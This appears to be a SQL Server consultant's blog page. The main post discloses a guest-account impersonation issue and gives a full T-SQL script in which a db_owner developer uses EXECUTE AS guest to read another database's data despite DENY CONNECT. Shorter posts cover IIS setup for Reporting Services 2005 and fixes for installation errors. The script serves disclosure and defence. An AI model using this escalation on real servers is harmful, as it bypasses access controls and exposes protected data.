Security-issue: guest-guest impersonation
Sep 24th
Almost a year ago I discovered an issue with SQL Server (all Versions from 2005 – 2008 R2, haven't tested 2000) regarding the usage of the guest-account and impersonation.
It also was presented by Ralf Dietrich and me at the SQL Server PASS Summit 2009 in Seattle where we informed Microsoft about it. - Thanks to Jack Richins from Microsoft for helping me find the root cause. (MSDN-blog post)
Unfortunately, a fix hasn’t been provided for SQL Server yet. As I was informed it will only be fixed in the next major version, Codename “Denali”. Here is the Connect-Item: https://connect.microsoft.com/SQLServer/feedback/details/509379/guest-activated-in-2-databases-leads-to-inconsistent-behaviour-and-may-also-compromise-security
Recently I demonstrated this technique again at the SQLCon in Mainz/Germany and now feel that I should blog about this.
This issue applies in a couple of scenarios, a more common of which I want to show here.
One scenario is, that sometimes or even often, developers, whether external or not, are given excessive rights in a certain database – on the same Server, where other databases exists, which may contain “public” data. But “public” maybe only for internal usage and not for external developers.
This is accomplished the following way: the database, let’s call it “InternalPublicData” will have the guest account enabled, and guest has permissions to see whatever is of interest for internal stuff.
In order to prevent access to this database for a certain Login, a database-user will be explicitly created in this database, so the Login does not match to guest and will be denied any resources in this database. One could even deny Connect-permission to the database, to secure it even more.
But this doesn’t help either, as you will see.
Also there is the database where the developer will have full permissions so he can work in his database and do anything inside. He might be dbo or member of the db_owner-role. (Unfortunately quite common because of the restrictions when using db_ddladmin etc.)
And now the trouble begins: The developer, let's call him “Dev0” cannot successfully connect to the InternalPublicData-database and act as guest there. But what he can do is the following: he can enable guest in his very own database.
Doing that, he can impersonate his local guest and then, not being “Dev0” any more, go to the InternalPublicData-database and successfully connect.
At that stage, he already has all permissions that the remote guest-account already has directly attached to it. But that’s not all. He can then do a second impersonate and gain role-memberships of the guest at the InternalPublicData-database!
No "Deny" for Dev0 can prevent that!
As a second option, he could, with permissions of creating a “User without Login“, impersonate that User and use it to jump to other databases where guest-is active…
The following is a script to demonstrate:
| --Login: CREATE LOGIN Dev0 WITH PASSWORD = 'Pa$$w0rd' GO /* setup DBs*/ create database InternalPublicData; create database DevelopmentDB; GO --Target-DB use InternalPublicData; grant connect to guest; create table t1(c1 int) insert into t1 values(1) create table t2(c1 int) insert into t2 values(2) GRANT SELECT ON dbo.t1 TO guest -- and only guest exec sp_addrolemember 'db_datareader', 'guest' -- just to point out the fact that these guest-accounts are actually different even further CREATE USER Dev0 FOR LOGIN Dev0 -- no memberships, so denied everything and not matching to guest automatically DENY CONNECT TO Dev0 -- to make SURE! -- DB 2 use DevelopmentDB; CREATE USER Dev0 FOR LOGIN Dev0 EXEC sp_addrolemember N'db_owner', N'Dev0' GO GO /* Setup finish */ /* Session as Dev0 */ EXECUTE AS LOGIN = 'Dev0' -- Who and Where am I SELECT CURRENT_USER AS CURRENT_USER_Name , SYSTEM_USER AS SYSTEM_USER_Name , ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name , DB_NAME() AS Current_Database use InternalPublicData; -- not possible with Deny Connect SELECT * FROM t1 -- with no Deny connect he gets denied here execute as user = 'guest'; -- he can NOT do this at the remote DB (good so far) -- Part One: -- go back USE DevelopmentDB execute as user = 'guest'; -- not active grant connect to guest; -- but as a "Dev" with excessive permissions he can do what he wants exec sp_addrolemember 'db_datawriter', 'guest' -- just so that one can differentiate the guest accounts easier execute as user = 'guest'; -- now we are in the game -- Who and Where am I SELECT CURRENT_USER AS CURRENT_USER_Name , USER_NAME() AS DBUser , SYSTEM_USER AS SYSTEM_USER_Name , ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name , DB_NAME() AS Current_Database select * from sys.user_token; -- now he became guest in DevelopmentDB for real -- End of Part One -- Part Two: using guest for executing as guest USE InternalPublicData; -- we connected as guest - no Deny for Dev0 Applying!! SELECT CURRENT_USER AS CURRENT_USER_Name , USER_NAME() AS DBUser , SYSTEM_USER AS SYSTEM_USER_Name , ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name , DB_NAME() AS Current_Database select * from sys.user_token; -- he became guest in the remote-DB SELECT * FROM dbo.t1 -- permissions at User(guest)-Level already working! SELECT * FROM dbo.t2 -- not working because permission for role not applying -- BUT: switch to InternalPublicData guest explicitely execute as user = 'guest'; --NOW "Dev0" can do it in the Target-DB SELECT CURRENT_USER AS CURRENT_USER_Name , USER_NAME() AS DBUser , SYSTEM_USER AS SYSTEM_USER_Name , ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name , DB_NAME() AS Current_Database select * from sys.user_token; -- he became guest with group-membership in Target-DB SELECT * FROM dbo.t2 -- can now also read datathrough role-membership -- End of Part Two: using guest for executing as guest /* back off step by step */ USE InternalPublicData revert; USE DevelopmentDB revert; revert; USE InternalPublicData revert; /* Finished */ USE master; DROP DATABASE InternalPublicData; DROP DATABASE DevelopmentDB; DROP LOGIN Dev0 |
There is just one option to be sure that your system is safe from developers: don’t mix production with development – not even on server-level!
This should be absolutely clear, but I’ll repeat that, as long as I see mixed environments at customers' sites. Unfortunately, this is very common.
And secondly: never use the guest account for data that is not really supposed for everyone.
Reporting Services 2005 on Windows Server 2008 (+ Vista) or Windows 2008 R2 (+ Windows 7) - IIS configuration
Apr 4th
Many still use SQL Server/Reporting Services 2005 although sometimes alread on Windows Server 2008 / Vista / Windows 7.
I absolutely do recommend upgrading to SQL Server 2008. There are many advantages in the combination - be it security or performance (Security, Performance, No need for IIS) - but if you can't uprade right now, you do need to install IIS for Reporting Services 2005 to run.
I have seen recommendations (even on a Microsoft blog) where they tell you to install EVERY Role Service for IIS - but that is untrue and against basic security principles.
I always always recommend "install as little as possible, but just as much as required".
You do not need an FTP-Server to run Reporting Services! - Natural to most. But when it comes to less known features like, CGI , SSI, Tracing..?.. most aren't so sure.
So here is the definite list of required role services for IIS. I tried to leave of everything I could, and this turned out:
| Web Server |
| Common HTTP Features |
| Static Content |
| Default Document |
| HTTP Errors |
| HTTP Redirection |
| Application Development |
| ASP.NET |
| .NET Extensibility |
| ASP |
| ISAPI Extensions |
| ISAPI Filters |
| Health and Diagnostics |
| HTTP Logging |
| Request Monitor |
| Security |
| Windows Authentication |
| Request Filtering |
| Performance |
| Static Content Compression |
| Management Tools |
| IIS Management Console |
| IIS 6 Management Compatibility |
| IIS 6 Metabase Compatibility |
| IIS 6 WMI Compatibility |
| IIS 6 Scripting Tools |
| IIS 6 Management Console |
I also attach a cmd-file. This file will install all the required packages by itself. You do not need to don any IIS Installation beforehand. It's using the new Package Manager available on Windows Server 2008. Just remove the .txt after you checked it out ;-
If You are using Windows Server 2008 R2/Windows 7 with IIS 7,5, Package Manager is deprecated. Instead use Deployment Image Servicing and Management as described here: http://blogs.msdn.com/b/habibh/archive/2009/08/14/how-to-install-iis-7-5-on-windows-7-using-the-command-line.aspx
I also prepared a file using DISM, which you can download here.
For Some reason though the Packetmanager installs "Directory Browsing, which is NOT required (bull***) - you should remove it manually. This seems to be a bug with Package Manager.
At the end it should look like this:
IIS will be properly detected (and we know for sure, that "Directory Browsing" is not a requirement"):
There is still something however:
After you installed and navigate to http://YourServername/Reports
You will get an error: "unable to connect to remote server"
when checking the Logfile "ReportServerWebApp" it says:
w3wp!ui!7!22.10.2008-10:24:47:: e ERROR: Unable to connect to the remote server
w3wp!ui!7!22.10.2008-10:24:47:: e ERROR: HTTP status code --> 500
-------Details--------
System.Net.WebException: Unable to connect to the remote server ---> System.Net.Sockets.SocketException: No connection could be made because the target machine actively refused it 127.0.0.1:443
at System.Net.Sockets.Socket.DoConnect(EndPoint endPointSnapshot, SocketAddress socketAddress)
at System.Net.Sockets.Socket.InternalConnect(EndPoint remoteEP)
at System.Net.ServicePoint.ConnectSocketInternal(Boolean connectFailure, Socket s4, Socket s6, Socket& socket, IPAddress& address, ConnectSocketState state, IAsyncResult asyncResult, Int32 timeout, Exception& exception)
--- End of inner exception stack trace ---
Solution:
In IIS 7 Manager, highlight the ReportServer application (Not "Reports")
go to Handler Mappings, click "Edit Feature Permissions" in the "Actions Pane", and enable "Script and Execute".
You are all set - it should be running just fine now.
Everything described here also applies for running Reporting Services 2005 on Windows Vista (SP1).
Download to IIS 7 Setup-File using Package Manager (rename to .cmd or .bat)
Download to IIS 7.5 Setup-File using DISM (rename to .cmd or .bat)
I also found a nice explaination of the IIS-Setup here: http://learn.iis.net/page.aspx/130/understanding-setup-in-iis-7/
Europäische PASS Konferenz 2009 zu SQL Server vom 22.-24. April in Neuss
Mär 4th
Über 20 Sprecher in 36 technischen Sessions in 2 Tagen (Hauptkonferenz) zu Business Intelligence, Datanbankentwicklung und -Administration mit Fokus auf SQL Server 2008.
ich halte den Vortrag “Standardizing and Centralizing Report Design”.
Agenda:
How can reusable design and layout be accomplished:
The Basics:
Using Layout-Templates
Using Style-Templates
Custom methods
Using Custom Code
Using an Assembly
Using plain T-SQL
Combining techniques
The Ultimate Step: Style Template + Custom style + Layout Template
Further possibilities
Meine Empfehlung außerdem: die Preconference (1 Tag) "SQL Server 2008 Engine Performance and Advanced Diagnostics" mit Bob Ward vom Microsoft PSS Team
Eine super Gelegenheit mit den Größen der Branche in Kontakt zu kommen.
See you in Neuss -> zur website mit weiteren Informationen
Reporting Services 2005 x64 Fehlermeldungen bei der Installation unter Windows Server - mit Lösungen
Okt 28th
bei der Einrichtung von Reporting Services 2005 Version x64 traten in der Reihenfolge folgende Fehler auf, zu welchen ich die Lösungen hier gerne hinterlegen möchte:
1)
"The virtual directory could not be created. The previously set virtual directory will still be used."
Details: "System.IO.FileNotFoundException:
at System.Runtime.InteropServices.Marshal.ThrowExceptionForHRInternal(Int32 errorCode, IntPtr errorInfo)
at System.Management.ManagementObject.InvokeMethod(String methodName, ManagementBaseObject inParameters, InvokeMethodOptions options)
at ReportServicesConfigUI.WMIProvider.RSReportServerAdmin.CreateVirtualDirectory(String virtualDirectory, String path)"
Lösung:
das lag daran, das ASP.Net VOR dem .Net Framework 2.0 installiert war
(meine Quelle: http://www.bokebb.com/dev/english/2027/posts/2027133704.shtml )
Nach einer Reparatur-Installation des .Net Framework 2.0 lief es tadellos.
2)
Als nächstes kam folgende Fehlermeldung auf der Website http://Servername/Reports:
"The ReportServerVirtualDirectory element is missing"
Lösung:
in der Datei RSWebApplication.config im Verzeichnis "C:\Program Files\Microsoft SQL Server\MSSQL.3\Reporting Services\ReportManager"
im Knoten <ReportServerVirtualDirectory></ReportServerVirtualDirectory> den Servernamen wie folgt eintragen:
<ReportServerUrl>http://ServerName/Reportserver</ReportServerUrl>
3)
Es folgte ein HTTP: 500 Fehler "The request failed with HTTP status 503: Service Unavailable."
Lösung:
iisreset in der Kommandozeile
so, ich hoffe das hilft dem Nächsten, etwas Zeit zu sparen
